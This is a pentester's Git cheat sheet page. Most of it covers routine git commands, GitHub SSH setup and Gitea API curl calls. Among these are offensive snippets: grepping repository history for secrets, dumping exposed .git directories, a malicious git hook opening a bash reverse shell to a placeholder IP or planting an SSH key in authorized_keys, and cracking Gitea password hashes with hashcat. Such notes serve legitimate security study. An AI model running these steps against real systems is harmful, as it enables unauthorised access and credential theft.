> For the complete documentation index, see [llms.txt](https://docs.h4rithd.com/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://docs.h4rithd.com/other/git.md).

# Git

## 00 Basic Usage

```bash
## ------------------| Initialize Repository and Upload to GitHub
git init                     # Initialize a new Git repository.
git add .                    # Stage all files for commit.
git commit -m "message"      # Commit changes with a message.
git remote add origin <URL>  # Add a remote repository (replace <URL>).
git branch -M main           # Set the default branch to main.
git push -u origin main      # Push to the main branch for the first time.

## ------------------| Viewing Commit History  
git log -p                   # Show commit history with diffs.  
git show <hash>              # Show details of a specific commit.  
git reflog                   # Show a history of all changes to the HEAD.  
git reset --hard             # Reset the working directory to the latest commit, discarding all local changes.  
git diff <hash>              # Show changes introduced by a specific commit.

## ------------------| Basic Git Commands
git clone <repo>             # Clone a repository  
git add <file>               # Stage a file for commit ( use . for add all files) 
git status                   # Show the status of the working directory  
git log                      # View commit history  
git diff                     # Show unstaged changes  

## ------------------| Branching & Merging
git branch                   # List branches  
git branch <name>            # Create a new branch  
git checkout <branch>        # Switch to a branch  
git merge <branch>           # Merge a branch into the current branch  
git branch -d <branch>       # Delete a branch  
git stash                    # Save changes for later  
git stash pop                # Apply stashed changes  

## ------------------| Remote Repositories
git remote -v                # Show remote repositories  
git remote add <name> <url>  # Add a new remote repository  
git push                     # Push changes to the remote repository  
git pull                     # Fetch and merge changes from the remote repository  
git fetch                    # Fetch changes without merging  
git remote remove <name>     # Remove a remote repository  

## ------------------| Inspecting & Undoing
git reset --hard <commit>    # Reset to a specific commit  
git revert <commit>          # Create a new commit to undo a previous commit  
git clean -f                 # Remove untracked files  
git reflog                   # Show the history of branch updates  
git checkout <commit>        # Switch to a specific commit  
git rm <file>                # Remove a file from the repository  

## ------------------| Advanced Commands
git log --oneline            # Short commit history  
git diff --staged            # Show staged changes  
git cherry-pick <commit>     # Apply a specific commit  
git bisect start             # Start a binary search to find a bug  
git rebase <branch>          # Reapply commits on top of another base  
git blame <file>             # Show who changed each line of a file  
git tag <name>               # Create a tag for a specific commit  
git archive <branch>         # Create an archive of the repository  
git push --set-upstream origin <BranchName>  # Set the upstream branch and push changes.  

## ------------------| Miscellaneous
git gc                       # Cleanup unnecessary files  
git fsck                     # Check for repository corruption  
git shortlog                 # Summarize git log  
git describe                 # Describe a commit using tags  
git show <commit>            # Show details about a specific commit  
git diff-tree <commit>       # Show changes in a commit  
```

* Github SSH Key

```bash
ssh-keygen -t ed25519 -C "hello@h4rithd.com" -f ~/.ssh/gitHub    # Generate a new SSH key for GitHub
eval "$(ssh-agent -s)"                                           # Start the SSH agent
git config --global user.email "github@h4rithd.com"              # Configure Git user email
git config --global user.name "h4rithd"                          # Configure Git username
ssh-add ~/.ssh/gitHub                                            # [Linux] Add SSH private key to the agent
# ssh-add --apple-use-keychain ~/.ssh/gitHub                     # Mac only

### Add SSH configuration for GitHub (optional)
# ~/.ssh/config file
Host github.com  
    AddKeysToAgent yes  
    Port 443  
    Hostname ssh.github.com  
    IdentityFile ~/.ssh/gitHub  

# Visit https://github.com/settings/keys and add the gitHub.pub file as a new SSH key.
```

* Enumerations

```bash
## ------------------| Git secrets finders
## https://github.com/techjacker/repo-security-scanner
git log -p | scanrepo

## ------------------| Find sensitive information in git
git grep -Iin --color=always -E "(password|passwd|pwd|token|secret|key|apikey|api_key|private_key|authorization|auth_token)" $(git rev-list --all) 2>/dev/null
git grep -Iin --color=always -E "(password|passwd|pwd)" $(git rev-list --all) 2>/dev/null

## ------------------| Show changes between staged files and the last commit
git status  
git diff --cached <file>  
```

* Reconstruct Source Code

```bash
## ------------------| Manual method 
wget -r -np https://<URL>/.git
git --git-dir=<path_to_bare_repo.git> archive HEAD | tar -x -C <destination_dir>

## ------------------| git-dumper
pip install git-dumper
git-dumper http://target.tld/.git/ dest-dir
```

* Git Hooks

```bash
## ------------------| sudo git pull
## put shell in 
vi .git/hooks/post-merge
chmod +x .git/hooks/post-merge

## ------------------| Genarate SSH Key
ssh-keygen -t ed25519 -f mykey
cat mykey.pub

## ------------------| Create hook file (.git/hooks/post-commit)
#!/bin/sh

bash -c 'bash -i >& /dev/tcp/<IP>/4545 0>&1'
## or
#mkdir -p /home/<USER>/.ssh/
#printf "\n<mykey.pub>\n" >> /home/<USER>/.ssh/authorized_keys
#chmod 600 /home/<USER>/authorized_key

## ------------------| Set permission 
chmod +x post-commit
```

* [GitTool](https://github.com/internetwache/GitTools)

```bash
## ------------------| Finder
python3 gitfinder.py -i urllist.txt

## ------------------| Dumper
./gitdumper.sh http://target.tld/.git/ dest-dir

## ------------------| Extractor
./extractor.sh source-dir destination-dir
```

## 03. Other

### 03.1 Gitea

```bash
## ------------------| Config path
/gitea.db
/conf/app.ini
/home/.gitconfig
/jwt/private.pem
/custom/conf/app.ini
/data/gitea/app.ini
/data/gitea/gitea.db
/data/gitea/conf/app.ini
/data/gitea/home/.gitconfig
/data/gitea/jwt/private.pem

## ------------------| Crack Password
wget https://gist.githubusercontent.com/h4rithd/0c5da36a0274904cafb84871cf14e271/raw/f109d178edbe756f15060244d735181278c9b57e/gitea2hashcat.py
python3 gitea2hashcat.py gitea.db > hashes.txt
hashcat hashes.txt /usr/share/wordlists/rockyou.txt --user
```

* Gitea APIs

```bash
## ------------------| List Repos
curl -s -H "Authorization: token $GITEA_ACCESS_TOKEN" "http://$IP:3000/api/v1/user/repos" | jq -r '.[].full_name'

## ------------------| Download Repo (archive)
curl -L -H "Authorization: token $GITEA_ACCESS_TOKEN" "http://$IP:3000/api/v1/repos/{owner}/{repo}/archive/main.zip" -o repo.zip

## ------------------| List All Repos (including private accessible)
curl -s -H "Authorization: token $GITEA_ACCESS_TOKEN" "http://$IP:3000/api/v1/repos/search?limit=50" 

## ------------------| Get Single Repo Details
curl -s -H "Authorization: token $GITEA_ACCESS_TOKEN" "http://$IP:3000/api/v1/repos/{owner}/{repo}"

## ------------------| List Org Repos (sometimes “hidden” to normal users)
curl -s -H "Authorization: token $GITEA_ACCESS_TOKEN" "http://$IP:3000/api/v1/orgs/{org}/repos"

## ------------------| List Repo Contents (files)
curl -s -H "Authorization: token $GITEA_ACCESS_TOKEN" "http://$IP:3000/api/v1/repos/{owner}/{repo}/contents/"

## ------------------| Download File from Repo
curl -s -H "Authorization: token $GITEA_ACCESS_TOKEN" "http://$IP:3000/api/v1/repos/{owner}/{repo}/contents/{path}" | jq -r '.content' | base64 -d

## ------------------| Upload File to Repo (create file)
curl -X POST -s -H "Authorization: token $GITEA_ACCESS_TOKEN" -H "Content-Type: application/json" -d '{"content":"BASE64_ENCODED_CONTENT","message":"add file"}' "http://$IP:3000/api/v1/repos/{owner}/{repo}/contents/{path}"

## ------------------| Edit/Update File in Repo
curl -X PUT -s -H "Authorization: token $GITEA_ACCESS_TOKEN" -H "Content-Type: application/json" -d '{"content":"BASE64_NEW_CONTENT","message":"update file","sha":"FILE_SHA"}' "http://$IP:3000/api/v1/repos/{owner}/{repo}/contents/{path}"

## ------------------| Delete File from Repo
curl -X DELETE -s -H "Authorization: token $GITEA_ACCESS_TOKEN" -H "Content-Type: application/json" -d '{"message":"delete file","sha":"FILE_SHA"}' "http://$IP:3000/api/v1/repos/{owner}/{repo}/contents/{path}"

## ------------------| List Commits
curl -s -H "Authorization: token $GITEA_ACCESS_TOKEN" "http://$IP:3000/api/v1/repos/{owner}/{repo}/commits"

## ------------------| List Branches
curl -s -H "Authorization: token $GITEA_ACCESS_TOKEN" "http://$IP:3000/api/v1/repos/{owner}/{repo}/branches"

## ------------------| Create Repo
curl -X POST -s -H "Authorization: token $GITEA_ACCESS_TOKEN" -H "Content-Type: application/json" -d '{"name":"test-repo","private":true}' "http://$IP:3000/api/v1/user/repos"

## ------------------| Delete Repo
curl -X DELETE -s -H "Authorization: token $GITEA_ACCESS_TOKEN" "http://$IP:3000/api/v1/repos/{owner}/{repo}"

## ------------------| Fork Repo
curl -X POST -s -H "Authorization: token $GITEA_ACCESS_TOKEN" "http://$IP:3000/api/v1/repos/{owner}/{repo}/forks"

## ------------------| List Issues
curl -s -H "Authorization: token $GITEA_ACCESS_TOKEN" "http://$IP:3000/api/v1/repos/{owner}/{repo}/issues"

## ------------------| List Pull Requests
curl -s -H "Authorization: token $GITEA_ACCESS_TOKEN" "http://$IP:3000/api/v1/repos/{owner}/{repo}/pulls"

## ------------------| Current User Info
curl -s -H "Authorization: token $GITEA_ACCESS_TOKEN" "http://$IP:3000/api/v1/user"

## ------------------| List User Orgs
curl -s -H "Authorization: token $GITEA_ACCESS_TOKEN" "http://$IP:3000/api/v1/user/orgs"
```